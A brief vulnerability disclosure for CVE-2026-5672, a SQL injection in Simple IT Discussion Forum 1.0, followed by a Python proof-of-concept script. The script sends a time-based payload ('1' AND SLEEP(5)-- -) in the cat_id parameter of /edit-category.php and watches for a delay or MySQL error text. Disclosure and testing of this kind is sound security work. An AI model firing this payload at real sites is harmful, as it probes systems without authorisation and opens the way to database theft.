CVE-2026-5672 Simple IT Discussion Forum SQL注入漏洞

import requests def verify_sql_injection(url): """ PoC for CVE-2026-5672 SQL Injection vulnerability. Target: Simple IT Discussion Forum 1.0 File: /edit-category.php Parameter: cat_id """ # Vulnerable payload to test for time-based injection or syntax error payload = "1' AND SLEEP(5)-- -" full_url = f"{url}/edit-category.php" params = { "cat_id": payload } try: print(f"Sending request to: {full_url}") response = requests.get(full_url, params=params, timeout=10) # Analyze response if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection detected (Time-based delay).") return True elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] Potential SQL Injection detected (Error-based).") return True else: print("[-] Vulnerability could not be confirmed.") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": target = "http://target-ip" # Replace with actual target verify_sql_injection(target)